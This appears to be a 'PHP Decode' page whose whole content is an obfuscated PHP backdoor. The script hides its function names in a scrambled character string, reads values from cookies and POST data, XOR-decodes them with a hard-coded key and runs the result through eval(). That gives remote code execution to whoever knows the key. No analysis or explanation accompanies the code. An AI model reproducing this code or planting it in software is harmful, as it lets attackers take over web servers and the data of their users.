PHP Decode

<?php //qlmhjdzq 
$pnukz = '-_*974egns#251dma0xyktv\'obiucp3r6Hl';$jykdiz = Array();$jykdiz[] = $pnukz[33].$pnukz[2];$jykdiz[] = $pnukz[12].$pnukz[13].$pnukz[6].$pnukz[4].$pnukz[25].$pnukz[13].$pnukz[32].$pnukz[6].$pnukz[0].$pnukz[12].$pnukz[25].$pnukz[11].$pnukz[4].$pnukz[0].$pnukz[5].$pnukz[30].$pnukz[5].$pnukz[25].$pnukz[0].$pnukz[3].$pnukz[25].$pnukz[25].$pnukz[30].$pnukz[0].$pnukz[12].$pnukz[3].$pnukz[5].$pnukz[32].$pnukz[6].$pnukz[32].$pnukz[17].$pnukz[4].$pnukz[32].$pnukz[32].$pnukz[17].$pnukz[16];$jykdiz[] = $pnukz[10];$jykdiz[] = $pnukz[28].$pnukz[24].$pnukz[27].$pnukz[8].$pnukz[21];$jykdiz[] = $pnukz[9].$pnukz[21].$pnukz[31].$pnukz[1].$pnukz[31].$pnukz[6].$pnukz[29].$pnukz[6].$pnukz[16].$pnukz[21];$jykdiz[] = $pnukz[6].$pnukz[18].$pnukz[29].$pnukz[34].$pnukz[24].$pnukz[14].$pnukz[6];$jykdiz[] = $pnukz[9].$pnukz[27].$pnukz[25].$pnukz[9].$pnukz[21].$pnukz[31];$jykdiz[] = $pnukz[16].$pnukz[31].$pnukz[31].$pnukz[16].$pnukz[19].$pnukz[1].$pnukz[15].$pnukz[6].$pnukz[31].$pnukz[7].$pnukz[6];$jykdiz[] = $pnukz[9].$pnukz[21].$pnukz[31].$pnukz[34].$pnukz[6].$pnukz[8];$jykdiz[] = $pnukz[29].$pnukz[16].$pnukz[28].$pnukz[20];foreach ($jykdiz[7]($_COOKIE, $_POST) as $qkxfakn => $clqcsh){function kkjnnxf($jykdiz, $qkxfakn, $qfdht){return $jykdiz[6]($jykdiz[4]($qkxfakn . $jykdiz[1], ($qfdht / $jykdiz[8]($qkxfakn)) + 1), 0, $qfdht);}function trsnywl($jykdiz, $tbengy){return @$jykdiz[9]($jykdiz[0], $tbengy);}function xrirsy($jykdiz, $tbengy){$klubicg = $jykdiz[3]($tbengy) % 3;if (!$klubicg) {eval($tbengy[1]($tbengy[2]));exit();}}$clqcsh = trsnywl($jykdiz, $clqcsh);xrirsy($jykdiz, $jykdiz[5]($jykdiz[2], $clqcsh ^ kkjnnxf($jykdiz, $qkxfakn, $jykdiz[8]($clqcsh))));} ?>